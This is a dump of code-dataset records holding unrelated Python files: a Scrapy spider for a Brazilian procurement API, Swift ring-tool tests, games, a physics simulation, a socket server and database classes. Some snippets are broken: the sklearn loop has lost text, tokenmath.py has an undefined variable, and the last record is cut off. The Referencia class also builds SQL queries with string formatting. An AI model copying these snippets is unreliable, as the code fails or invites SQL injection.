onBackspace(self):\n if self.getCol() - 1 < 0 and self.offset > 0:\n self.offset -= 1\n self.y += 1\n self.controller.remove(self.getLine(), self.getCol() - 1)\n","sub_path":"windows/buffer_win.py","file_name":"buffer_win.py","file_ext":"py","file_size_in_byte":3196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"160944228","text":"#!/usr/bin/env python3\n#PYTHON#\nimport sys\nimport re\n#sample input\n#3 2 3 4 5 6\n#5 24 4 23 56\n\n#taken from standard input stdin\n#Take #'s from std int ,first one is a position, tokenize strings and add #'s at position then take average.\n\nsum = 0\nnumlines = 0 #we're averaging values\nfor lines in sys.stdin:\n\t\ttokens = line.split(\" \") #returns list, tokenizes string split by spaces\n\t\ttarget = tokens[int(tokens[0])]\n\t\tsum += float(target)\n\t\tnumlines += 1\n\nprint(\"average = \" + str(sum / numlines))\n\t\t\n\t\t","sub_path":"SystemsProgramming/Review/tokenmath.py","file_name":"tokenmath.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"325051651","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\n\nclass Document(models.Model):\n docfile = models.FileField(upload_to='documents/%Y/%m/%d')\n\nclass Image (models.Model):\n image = models.ImageField(upload_to='artwork')\n\nclass Demo (models.Model):\n doc = models.OneToOneField(Document)\n img = models.OneToOneField(Image)\n\n","sub_path":"myproject/myproject/myapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"442220152","text":"from sklearn.feature_extraction import text\nimport jieba\nfrom sklearn import neural_network\nfrom sklearn import model_selection\nfrom sklearn import ensemble\n\nwith open('data.txt','r+',encoding='utf-8') as f:\n\tdata=f.read()\ndata=data.split('\\n')\nquestion=[]\nanswer=[]\nfor i in data:\n\tquestion.append(\" \".join(jieba.cut(i.split(',')[0])))\n\tanswer.append(\" \".join(jieba.cut(i.split(',')[1])))\ncv=text.CountVectorizer()\nX_train=cv.fit_transform(question).toarray()\ni=0\nwhile i0:\n\t\t\tX_train[i][j]=j\n\t\telse:\n\t\t\tX_train[i][j]=-1\n\t\tj+=1\n\ti+=1\n#print(cv.vocabulary_)\ny_train=cv.fit_transform(answer).toarray()\ni=0\nwhile i0:\n\t\t\ty_train[i][j]=j\n\t\telse:\n\t\t\ty_train[i][j]=-1\n\t\tj+=1\n\ti+=1\n#print(y_train)\n#mlp=neural_network.MLPClassifier(hidden_layer_sizes=(100,20),max_iter=5000)\nX,X_test,y,y_test=model_selection.train_test_split(X_train,y_train,test_size=.1,random_state=0)\nfrom sklearn import preprocessing\nfrom sklearn import pipeline\nsc=preprocessing.StandardScaler()\nrfc=ensemble.RandomForestClassifier()\ntrainer=pipeline.make_pipeline(sc,rfc).fit(X,y)\n#y_predict=rfc.predict(X_test)\n#print(y_predict)\n\nif __name__ == \"__main__\":\n\tprint(X_train)\n\tprint(y_train)\n\ty_predict=trainer.predict(X_test)\n\tprint(y_predict)\n\tprint(cv.vocabulary_)","sub_path":"mysite/data/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"471094142","text":"# DATAPREV\n# Autor: Ricardo Roberto de Lima\n# Projeto: SSA - Strategy Source Analytics - Captura de Dados\n# ComprasGov - Capturando e passando os dados para o ElasticSearch.\n\nfrom scrapy.selector import Selector\n\nimport scrapy\nimport json\nimport re\nimport csv\n\nclass Extracao(scrapy.Spider):\n # Nome do spider: Deve ser usado para chamar no terminal\n # Exemplo: scrapy crawl \n # scrapy crawl -a \n name = \"comprasgov-extracao\"\n\n # Endpoints nos quais o spider deve fazer a extração\n endpoints = None\n\n # Define as configurações para esse spider (output, etc...)\n custom_settings = {\n \"ITEM_PIPELINES\" : {\n # Descomente essa linha para usar o pipeline de CSV\n #'comprasgov.pipelines.CSVExtracaoPipeline': 300,\n \n # Pipeline para enviar ao ElasticSearch\n 'comprasgov.pipelines.ESCustomPipeline' : 300\n },\n\n # ----- Configurações do ElasticSearchPipeline -----\n # ElasticSearch: IP/Porta do Servidor\n \"ELASTICSEARCH_SERVERS\" : ['127.0.0.1:9200'], #['10.89.5.153:9200']\n\n # ElasticSearch: Nome do Index onde deve salvar\n # O padrão é `scrapy`, mas deve ser modificado dinamicamente pelo Pipeline\n \"ELASTICSEARCH_INDEX\" : \"scrapy\",\n\n # ElasticSearch: Nome do Type onde deve salvar\n # O padrão é `item`, mas deve ser modificado dinamicamente pelo Pipeline\n \"ELASTICSEARCH_TYPE\" : \"item\",\n\n # Usuário e Senha do Servidor ElasticSearch\n #\"ELASTICSEARCH_USERNAME\" : \"\",\n #\"ELASTICSEARCH_PASSWORD\" : \"\",\n # ----- Configurações do ElasticSearchPipeline -----\n \n \"CONCURRENT_REQUESTS\" : 3,\n \"DOWNLOAD_DELAY\" : 3,\n\n \"COOKIES_ENABLED\" : False,\n \"USER_AGENT\" : \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36\"\n }\n\n def __init__(self, endpoints=None, *args, **kwargs):\n # Chama o construtor da classe base (Spider)\n super(Extracao, self).__init__(*args, **kwargs)\n\n # Salva o nome do arquivo no qual contém os endpoints a serem extraidos\n self.endpoints = endpoints\n\n\n def start_requests(self):\n # Abre o arquivo com a lista de endereços a serem extraídos\n with open(self.endpoints, \"r\") as file:\n # Carrega o leitor de CSV com o arquivo\n reader = csv.reader(file)\n\n # Ignora o cabeçalho/header\n next(reader)\n\n for line in reader:\n # Obtêm o módulo (grupo), método (tabela), url e a quantidade de registros\n # É esperado que o CSV endpoints siga esse formato\n module, method, url, count = line\n\n # Ignora o endpoint se não tiver registro nenhum\n # Isso significa que não vai extrair tabelas que não contem nenhum dado\n if int(count) == 0:\n continue\n\n # Adiciona o nome do método e do módulo da API/Endpoint\n # Esses serão usados para definir o arquivo correto para salvar os dados extraídos\n meta = {\"_module_\" : module, \"_method_\" : method}\n\n # Define o tempo máximo de espera pela requisição\n # Como a API é beta e tem limitações, melhor definir um timeout maior\n meta[\"download_timeout\"] = 600\n\n # Faz a requisição para a API, para extrair os dados\n for i in range(0, int(count), 500):\n # Monta a URL para a próxima requisição/offset\n next_page = \"{}?offset={}\".format(url, i)\n\n # Faz o request para a próxima offset\n yield scrapy.Request(next_page, callback=self.parse, meta=meta)\n\n \n def parse(self, response):\n # Desserializa o JSON, fazendo o parse todo o conteúdo para um dict\n content = json.loads(response.text)\n\n # Obtêm os registros retornados pela API do governo\n # Os registros são armazenados em uma chave \"_embedded\", e dentro dela sempre tem um array\n # com os registros retornados da API, porém sempre com um nome diferente.\n # Então, obtemos primeiro o nome dessa chave, assim sendo possível de obter os registros\n keyname = list(content[\"_embedded\"].keys())[0]\n result = content[\"_embedded\"][keyname]\n \n # Obtêm o offset dessa resposta da API\n offset = 0 if \"offset\" not in content else content[\"offset\"]\n\n for item in result:\n # Essa tabela não tem uma ID explícita?\n if \"id\" not in item:\n # Uma das respostas da API é o _links, que contém relações desse registro\n # com outras tabelas da API (exemplo: Pregões->Termos, Pregões->Declarações, etc.)\n # Essa chave também guarda \"self\", que contém a referência desse registro na API\n # Com essa referência/ID é possível fazer todas essas ligações, então o salvamos\n # Verifica se o _links existe/\"self\" está presente (onde tem o ID) e o adiciona\n if \"_links\" in item and \"self\" in item[\"_links\"]:\n # A ID é armazenada no link para a referência do registro, então obtemos\n # o valor (código/ID) no final do link, e para isso dividimos a string\n item[\"id\"] = item[\"_links\"][\"self\"][\"href\"].split(\"/\")[-1]\n \n # Remove a chave de links, se existir\n item.pop(\"_links\")\n\n # Adiciona um campo para manter a offset/página de onde esse registro foi obtido\n # Isso pode ser útil para ver até onde o crawler conseguiu buscar dados da API\n item[\"offset\"] = offset\n\n # Adiciona o nome do arquivo ao item, seguindo o modelo de módulo e método\n # Esse campo é usado para o spider saber para onde esse item vai ser exportado (CSV)\n item[\"item_filename\"] = \"{}.{}\".format(response.meta[\"_module_\"], response.meta[\"_method_\"])\n\n # Retorna (como generator) o registro obtido, para o mesmo ser exportado\n yield item","sub_path":"5-comprasgov-elastic/comprasgov/spiders/spider_extracao.py","file_name":"spider_extracao.py","file_ext":"py","file_size_in_byte":6222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"186813421","text":"\nimport webapp2\n\n\nclass NotFoundPage(webapp2.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'text/html'\n self.response.write('')\n\n\napp = webapp2.WSGIApplication([\n ('/', NotFoundPage),\n], debug=True)","sub_path":"not_found.py","file_name":"not_found.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"617560231","text":"from vpython import *\r\n\r\ng = 9.8 # g = 9.8 m/s^2\r\nsize = 0.25 # ball radius = 0.25 m\r\nheight = 15.0 # ball center initial height = 15 m\r\nC_drag = 0.3\r\n\r\nscene = canvas(width=600, height=600,align = 'left', center=vec(0,height/2,0), background=vec(0.5,0.5,0))\r\nfloor = box(length=30, height=0.01, width=10, color=color.blue)\r\nvt_graph = graph(width = 600, align ='left', xtitle = 'time(s)', ytitle = 'speed(m/s)')\r\nfunct = gcurve(graph = vt_graph, color = color.blue, width =4)\r\nball = sphere(radius=size, color=color.yellow, make_trail=True)\r\n\r\nball.pos = vec(0, 800, 0)\r\nball.v = vec(0, 0, 0) # ball initial velocity\r\npre_ball_v = 10\r\ndt = 0.001 \r\ntime = 0 \r\nwhile abs(ball.v.mag-pre_ball_v) > 0.00001: # until the ball hit the ground\r\n rate(5000) # run 1000 times per real second\r\n pre_ball_v = mag(ball.v)\r\n ball.pos += ball.v*dt\r\n ball.v += vec(0, -g, 0)*dt - C_drag*ball.v*dt\r\n\r\n time += dt #drawing v-t graph\r\n funct.plot(pos=(time, ball.v.mag))\r\n \r\nprint('final speed = %3.4f m' % mag(ball.v))","sub_path":"physics_hw/b07901020(2)/optional.py","file_name":"optional.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"254990320","text":"import socket\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((\"192.168.0.19\", 2020))\ns.listen(1)\nprint('Waiting a client')\n\n(sktClient, addClient) = s.accept()\nprint('Connected client')\nprint('Client Ip:', addClient)\n\nend = True\n\nwhile end:\n message = sktClient.recv(8)\n if(message != b''):\n msg = int(message.decode())\n print(type(msg))\n print('Message:', msg)\n print('-------')\n sktClient.send('received'.encode())\n \n else:\n print('end')\n end = False\n \nsktClient.close()\ns.close()","sub_path":"Python/pySockets/pyServer.py","file_name":"pyServer.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"155616395","text":"import sys\n\nfrom Connections.ReceiverController import ReceiverController\nfrom Data.data import Data\nfrom Functions.PublisherLive import PublisherLive\n\nport1 = int(sys.argv[1])\nport2 = port1 + 2\nport3 = port1 +4\nData.id = int(sys.argv[2])\n\n\nreceiverThread1 = ReceiverController(port1)\nreceiverThread2 = ReceiverController(port2)\nreceiverThread3 = ReceiverController(port3)\npublisherThread = PublisherLive()\n\nreceiverThread1.start()\nreceiverThread2.start()\nreceiverThread3.start()\npublisherThread.start()\n","sub_path":"Data Keeper Tracker/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"260660847","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n# Copyright (C) 2013 eNovance SAS \n#\n# Author: Christian Schwede \n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport unittest\n\nimport mock\nimport os\nimport pickle\nimport random\nimport string\n\nfrom swiftringtool import increase_partition_power, decrease_partition_power, FileMover, main\nfrom swift.common.ring import builder\n\n\nclass RingToolTest(unittest.TestCase):\n def setUp(self):\n class DummyOptions(object):\n def __init__(self, ringname):\n self.move_object_files = True\n self.move_container_dbs = True\n self.move_account_dbs = True\n self.ring = ringname\n self.path = \"testdir\"\n\n ringbuilder = builder.RingBuilder(8, 3, 1)\n ringbuilder.add_dev({'id': 0, 'zone': 0, 'weight': 1,\n 'ip': '127.0.0.1', 'port': 10000,\n 'device': 'sda1', 'region': 0})\n ringbuilder.add_dev({'id': 1, 'zone': 1, 'weight': 1,\n 'ip': '127.0.0.1', 'port': 10001,\n 'device': 'sda1', 'region': 0})\n ringbuilder.add_dev({'id': 2, 'zone': 2, 'weight': 1,\n 'ip': '127.0.0.1', 'port': 10002,\n 'device': 'sda1', 'region': 0})\n ringbuilder.rebalance()\n self.ringbuilder = ringbuilder\n rand_suffix = ''.join(random.choice(string.digits) for x in range(10))\n self.testring_filename = 'testring' + rand_suffix \n self.ringbuilder.get_ring().save(self.testring_filename)\n self.dummy_options = DummyOptions(self.testring_filename)\n\n def tearDown(self):\n try:\n os.remove(self.testring_filename)\n except IOError:\n pass\n\n def test_increase_partition_power(self):\n dummyring_builder = builder.RingBuilder(1, 1, 1)\n dummyring_builder.copy_from(self.ringbuilder)\n ring = dummyring_builder.to_dict()\n\n new_ring = increase_partition_power(ring)\n self.assertEqual(ring.get('part_power'), 8)\n self.assertEqual(new_ring.get('part_power'), 9)\n self.assertEqual(new_ring.get('version'), 4)\n\n def test_decrease_partition_power(self):\n dummyring_builder = builder.RingBuilder(1, 1, 1)\n dummyring_builder.copy_from(self.ringbuilder)\n ring = dummyring_builder.to_dict()\n\n new_ring = decrease_partition_power(ring)\n self.assertEqual(ring.get('part_power'), 8)\n self.assertEqual(new_ring.get('part_power'), 7)\n self.assertEqual(new_ring.get('version'), 4)\n\n @mock.patch('os.walk')\n def test_filemover_start(self, mock_walk):\n # Simulate Swift storage node files\n mock_walk.return_value = [('accounts',\n '_dirs',\n ['account.db']),\n ('containers',\n '_dirs',\n ['container.db']),\n ('objects',\n '_dirs',\n ['object.data']),\n ]\n\n fm = FileMover(self.dummy_options)\n\n fm._move_file = mock.Mock()\n fm.start()\n fm._move_file.assert_any_call('accounts/account.db',\n 'accounts')\n fm._move_file.assert_any_call('containers/container.db',\n 'containers')\n fm._move_file.assert_any_call('objects/object.data',\n 'objects')\n\n @mock.patch('os.makedirs')\n @mock.patch('os.rename')\n def test_move_file(self, mock_rename, mock_makedirs):\n fm = FileMover(self.dummy_options)\n\n with self.assertRaises(Exception):\n fm._move_file(\"filename\", \"dummy\")\n\n fm._get_acc_cont_obj = mock.Mock()\n info = {'account': 'account',\n 'container': 'container',\n 'object': 'object'}\n fm._get_acc_cont_obj.return_value = info\n\n fm._move_file(\"node/objects/0/obj.data\", \"objects\")\n\n mock_rename.assert_called_with('node/objects/0/obj.data',\n 'node/objects/61/obj.data')\n mock_makedirs.assert_called_with('node/objects/61')\n\n @mock.patch('xattr.getxattr')\n def test_get_acc_cont_obj(self, mock_xattr):\n pickled_metadata = pickle.dumps({'name': '/account/container/object'})\n mock_xattr.side_effect = [pickled_metadata, IOError]\n fm = FileMover(self.dummy_options)\n\n with mock.patch('__builtin__.open') as mock_open:\n info = fm._get_acc_cont_obj(\"filename\")\n mock_open.assert_called_with(\"filename\")\n self.assertEqual(info.get('account'), 'account')\n self.assertEqual(info.get('container'), 'container')\n self.assertEqual(info.get('object'), 'object')\n\n @mock.patch('swiftringtool.FileMover') \n def test_main(self, mock_filemover):\n ret = main(['--move-object-files', '--ring', 'ringfile', '--path', '/srv/node/'])\n self.assertTrue(mock_filemover.called)\n\n pickled_metadata = pickle.dumps(self.ringbuilder.to_dict())\n mo = mock.mock_open(read_data=pickled_metadata)\n with mock.patch('__builtin__.open', mo, create=True) as mock_open:\n ret = main(['--increase-partition-power', '--ring', 'ringfile'])\n mock_open.assert_called_with('ringfile', 'wb')\n","sub_path":"tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":6101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"251253625","text":"# Tic-Tac-Toe\n# Python 3.7\n\nimport random\n\ndef first_player():\n if random.randint(1, 2) == 1:\n return \"Player 1\"\n else:\n return \"Player 2\"\n\ndef draw_board(board):\n\tprint(\" | |\\n \" + board[7] + \" | \" + board[8] + \" | \" + board[9] + \"\\n | |\")\n\tprint(\"---|---|---\")\n\tprint(\" | |\\n \" + board[4] + \" | \" + board[5] + \" | \" + board[6] + \"\\n | |\")\n\tprint(\"---|---|---\")\n\tprint(\" | |\\n \" + board[1] + \" | \" + board[2] + \" | \" + board[3] + \"\\n | |\")\n\ndef assign_marker():\n\tplayer1 = ''\n\twhile player1 != 'X' and player1 != 'O':\n\t\tplayer1 = input(\"Please select 'X' or 'O'\\n\")\n\t\tplayer1 = player1.upper()\n\tif player1 == 'X':\n\t\tplayer2 = 'O'\n\t\treturn (player1, player2)\n\telse:\n\t\tplayer2 = 'X'\n\t\treturn (player1, player2)\n\ndef place_marker(board, marker, position):\n\tboard[position] = marker\n\treturn board\n\ndef check_empty(board, position):\n\t\n\treturn board[position] == ' '\n\ndef board_full_check(board):\n\tfor i in range (1,10):\n\t\tif check_empty(board, i):\n\t\t\treturn False\n\treturn True\n\ndef win_check(board, marker):\n\tif board[7] == board[8] == board[9] == marker:\n\t\treturn True\n\telif board[4] == board[5] == board[6] == marker:\n\t\treturn True\n\telif board[1] == board[2] == board[3] == marker:\n\t\treturn True\n\telif board[1] == board[4] == board[7] == marker:\n\t\treturn True\n\telif board[2] == board[5] == board[8] == marker:\n\t\treturn True\n\telif board[3] == board[6] == board[9] == marker:\n\t\treturn True\n\telif board[1] == board[5] == board[9] == marker:\n\t\treturn True\n\telif board[3] == board[5] == board[7] == marker:\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef replay():\n\toption = str(input(\"Do you want to play again?\\n\"))\n\tif option.lower() == 'yes' or option.lower() == 'y':\n\t\treturn True\n\telse:\n\t\treturn False\n\nprint(\"Welcome to Tic-Tac-Toe!\\n\")\nwhile True:\n\tboard = ['#',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ']\n\tplayer1, player2 = assign_marker()\n\tturn = first_player()\n\tprint(turn + \" will start\\n\\n\")\n\tdraw_board(board)\n\tgameplay = True\n\twhile gameplay:\n\t\tif turn == \"Player 1\":\n\t\t\tposition = int(input(\"Choose a position: \"))\n\t\t\tboard = place_marker(board, player1, position)\n\t\t\tdraw_board(board)\n\t\t\tif win_check(board, player1):\n\t\t\t\tprint(\"Player 1 has won!\\n\")\n\t\t\t\tgameplay = False\n\t\t\telse:\n\t\t\t\tif board_full_check(board):\n\t\t\t\t\tprint(\"The game is a draw!]\\n\")\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tturn = \"Player 2\"\n\t\tif turn == \"Player 2\":\n\t\t\tposition = int(input(\"Choose a position: \"))\n\t\t\tboard = place_marker(board, player2, position)\n\t\t\tdraw_board(board)\n\t\t\tif win_check(board, player2):\n\t\t\t\tprint(\"Player 2 has won!\\n\")\n\t\t\t\tgameplay = False\n\t\t\telse:\n\t\t\t\tif board_full_check(board):\n\t\t\t\t\tprint(\"The game is a draw!\\n\")\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\tturn = \"Player 1\"\n\tif not replay():\n\t\tbreak","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"356693853","text":"from unit_tester import test\n\n\ndef test_suit():\n test(not share_diagonal(5, 2, 2, 0))\n test(share_diagonal(5, 2, 3, 0))\n test(share_diagonal(5, 2, 4, 3))\n test(share_diagonal(5, 2, 4, 1))\n\n test(not col_clashes([6, 4, 2, 0, 5], 4))\n test(not col_clashes([6, 4, 2, 0, 5, 7, 1, 3], 7))\n\n test(col_clashes([0, 1], 1))\n test(col_clashes([5, 6], 1))\n test(col_clashes([6, 5], 1))\n test(col_clashes([0, 6, 4, 3], 3))\n test(col_clashes([5, 0, 7], 2))\n test(not col_clashes([2, 0, 1, 3], 1))\n test(col_clashes([2, 0, 1, 3], 2))\n\n test(not has_clashes([6, 4, 2, 0, 5, 7, 1, 3]))\n test(has_clashes([4, 6, 2, 0, 5, 7, 1, 3]))\n test(has_clashes([0, 1, 2, 3]))\n test(not has_clashes([2, 0, 3, 1]))\n test(has_clashes([3, 2, 4, 0, 6, 1, 5, 7]))\n\n test(mirror_x_axis([6, 4, 2, 0, 5, 7, 1, 3]) == [1, 3, 5, 7, 2, 0, 6, 4])\n test(mirror_x_axis([1, 3, 0, 2]) == [2, 0, 3, 1])\n\n test(mirror_y_axis([6, 4, 2, 0, 5, 7, 1, 3]) == [3, 1, 7, 5, 0, 2, 4, 6])\n test(mirror_y_axis([1, 3, 0, 2]) == [2, 0, 3, 1])\n\n test(rotate_90_degrees([1, 3, 0, 2]) == [1, 3, 0, 2])\n test(rotate_90_degrees([6, 4, 2, 0, 5, 7, 1, 3]) == [4, 1, 5, 0, 6, 3, 7, 2])\n\n test(rotate_180_degrees([1, 3, 0, 2]) == [1, 3, 0, 2])\n test(rotate_180_degrees([6, 4, 2, 0, 5, 7, 1, 3]) == [4, 6, 0, 2, 7, 5, 3, 1])\n\n test(rotate_270_degrees([1, 3, 0, 2]) == [1, 3, 0, 2])\n test(rotate_270_degrees([6, 4, 2, 0, 5, 7, 1, 3]) == [5, 0, 4, 1, 7, 2, 6, 3])\n\n test(family_of_symmetries([0, 4, 7, 5, 2, 6, 1, 3]) ==\n [[0, 4, 7, 5, 2, 6, 1, 3], [7, 1, 3, 0, 6, 4, 2, 5],\n [4, 6, 1, 5, 2, 0, 3, 7], [2, 5, 3, 1, 7, 4, 6, 0],\n [3, 1, 6, 2, 5, 7, 4, 0], [0, 6, 4, 7, 1, 3, 5, 2],\n [7, 3, 0, 2, 5, 1, 6, 4], [5, 2, 4, 6, 0, 3, 1, 7]])\n\n\ndef share_diagonal(x0, y0, x1, y1):\n \"\"\" Is (x0, y) on the same shared diagonal with (x1, y1)? \"\"\"\n dx = abs(x1 - x0) # Calc the absolute y distance\n dy = abs(y1 - y0) # Calc the absolute x distance\n return dx == dy # They clash if dx == yx\n\n\ndef col_clashes(bs, c):\n \"\"\" Return True if the queen at column c clashes\n with any queen to its left.\n \"\"\"\n for i in range(c): # Look at all columns to the left of c\n if share_diagonal(i, bs[i], c, bs[c]):\n return True\n return False # No clashes - col c has a safe placement\n\n\ndef has_clashes(the_board):\n \"\"\" Determine whether we have any queens clashing on the diagonal.\n We're assuming here that the_board is a permutation of column\n numbers, so we're not explicitly checking row or column clashes.\n \"\"\"\n for col in range(1, len(the_board)):\n if col_clashes(the_board, col):\n return True\n return False\n\n\ndef main(board_size):\n import random\n solutions = [] # A list of unique solutions\n rng = random.Random() # Instantiate a generator\n\n bd = list(range(board_size)) # Generate the initial permutation\n num_found = 0\n tries = 0\n while num_found < 10:\n rng.shuffle(bd)\n tries += 1\n if not has_clashes(bd) and bd not in solutions:\n print(\"Found solution {0} in {1} tries.\".format(bd, tries))\n solutions.append(list(bd))\n tries = 0\n num_found += 1\n for i in solutions:\n print(i)\n\n\ndef mirror_y_axis(bd):\n return bd[::-1]\n\n\ndef mirror_x_axis(bd):\n return [((len(bd)-1) - i) for i in bd]\n\n\ndef rotate_90_degrees(bd):\n \"\"\" Rotate the board anti-clockwise.\n The value becomes the index.\n The index becomes the value = (len(bd) - 1) - index)\n \"\"\"\n a = []\n n = []\n for (i, j) in enumerate(bd):\n a.append([j, (len(bd) - 1) - i])\n a.sort()\n for x, y in a:\n n.append(y)\n return n\n\n\ndef rotate_180_degrees(bd):\n return rotate_90_degrees(rotate_90_degrees(bd))\n\n\ndef rotate_270_degrees(bd):\n x = rotate_180_degrees(bd)\n y = rotate_90_degrees(x)\n return y\n\n\ndef family_of_symmetries(bd):\n family = [bd, rotate_90_degrees(bd),\n rotate_180_degrees(bd), rotate_270_degrees(bd),\n mirror_y_axis(bd), rotate_270_degrees(mirror_x_axis(bd)),\n mirror_x_axis(bd), rotate_270_degrees(mirror_y_axis(bd))]\n return family\n\n\nif __name__ == \"__main__\":\n test_suit()\n # main(8)\n # print(family_of_symmetries([0, 4, 7, 5, 2, 6, 1, 3]))\n","sub_path":"chapters14_to_16/ch14_eight_queens_puzzle.py","file_name":"ch14_eight_queens_puzzle.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"409523504","text":"import os\nimport csv\nimport json\nimport io\n\ndatalists = {}\nfor file in os.listdir('.'):\n if file != 'copy.csv' and file[-3:] == 'csv':\n with open(file, newline='') as json_file:\n reader = csv.reader(json_file, delimiter='\\t')\n is_header = True\n for row in reader:\n if is_header:\n is_header = False\n type, lang = row[0], row[1:]\n type = ''.join(type.split())\n continue\n try:\n datalists[type][row[0]] = {l.strip(): t.strip() for l, t in zip(lang, row[1:])}\n except KeyError:\n datalists[type] = {row[0]: {l.strip(): t.strip() for l, t in zip(lang, row[1:])}}\n\n# encoded with utf-8\nwith io.open('copy.json', 'w', encoding='utf-8') as json_file:\n json.dump(datalists, json_file, indent=2, ensure_ascii=False)","sub_path":"static/misc/combine.py","file_name":"combine.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"212956786","text":"from Implementacion.Empleado import getEmpleadoByID\r\n\r\n\r\nclass Referencia:\r\n def __init__(self, pId=None, pEmpleado=None, pNombre=None, pApellido=None, pTelefono=None, pFechaDesde=None, pFechaHasta=None):\r\n self.id = pId\r\n self.empleado = pEmpleado\r\n self.nombre = pNombre\r\n self.apellido = pApellido\r\n self.telefono = pTelefono\r\n self.fechaDesde = pFechaDesde\r\n self.fechaHasta = pFechaHasta\r\n \r\n def __getitem__(self, item):\r\n return self.__dict__[item]\r\n\r\n def __str__(self):\r\n return 'Nombre empleado: {}, Nombre Referencia: {} {}, Telefono: {}, Fecha desde: {}, Fecha hasta: {}'.format(self.empleado.id, self.nombre, self.apellido, self.telefono, self.fechaDesde, self.fechaHasta)\r\n\r\n def crearReferencia(self, bd):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('''\r\n INSERT INTO referencia \r\n (\r\n id_empleado,\r\n nombre,\r\n apellido,\r\n telefono,\r\n fecha_desde,\r\n fecha_hasta\r\n )\r\n VALUES (%s,%s,%s,%s,%s,%s)''',\r\n (\r\n self.empleado.id,\r\n self.nombre,\r\n self.apellido,\r\n self.telefono,\r\n self.fechaDesde,\r\n self.fechaHasta\r\n ))\r\n bd.connection.commit()\r\n cursor.close()\r\n print('Referencia Creada')\r\n except Exception as e:\r\n print(\"Error en crearReferencia \", e)\r\n\r\n def borrarReferencia(self, bd):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('''\r\n DELETE FROM referencia WHERE id = {}\r\n '''.format(self.id))\r\n bd.connection.commit()\r\n cursor.close()\r\n print('Referencia Borrada')\r\n except Exception as e:\r\n print(\"Error en borrarReferencia \", e)\r\n\r\n def actualizarReferencia(self, bd):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('''\r\n UPDATE referencia SET\r\n nombre = %s,\r\n apellido = %s,\r\n telefono = %s,\r\n fecha_desde = %s,\r\n fecha_hasta = %s\r\n WHERE id = %s''',\r\n (\r\n self.nombre,\r\n self.apellido,\r\n self.telefono,\r\n self.fechaDesde,\r\n self.fechaHasta,\r\n self.id\r\n ))\r\n\r\n bd.connection.commit()\r\n cursor.close()\r\n print('Referencia Actualizada')\r\n except Exception as e:\r\n print(\"Error en actualizarReferencia \", e)\r\n\r\n\r\ndef getReferenciaByID(bd, id):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('''\r\n SELECT\r\n id,\r\n id_empleado,\r\n nombre,\r\n apellido,\r\n telefono,\r\n fecha_desde,\r\n fecha_hasta\r\n FROM referencia WHERE id = {}'''.format(id))\r\n retorno = cursor.fetchall()\r\n bd.connection.commit()\r\n cursor.close()\r\n referencia = Referencia(\r\n retorno[0][0],\r\n getEmpleadoByID(bd, retorno[0][1]),\r\n retorno[0][2],\r\n retorno[0][3],\r\n retorno[0][4],\r\n retorno[0][5],\r\n retorno[0][6]\r\n )\r\n return referencia\r\n print('Nombre en getReferenciaByID: ', referencia.nombre)\r\n except Exception as e:\r\n print(\"Error en getReferenciaByID \", e)\r\n\r\n\r\ndef getReferenciasEmpleado(bd, idEmpleado):\r\n try:\r\n cursor = bd.connection.cursor()\r\n cursor.execute('''\r\n SELECT\r\n id,\r\n nombre,\r\n apellido,\r\n telefono,\r\n fecha_desde,\r\n fecha_hasta\r\n FROM referencia WHERE id_empleado = {}'''.format(idEmpleado))\r\n retorno = cursor.fetchall()\r\n bd.connection.commit()\r\n cursor.close()\r\n # desde el retono debo generar los objetos Referencia\r\n referencias = list()\r\n for tuplaReferencia in retorno:\r\n referencia = Referencia(tuplaReferencia[0], 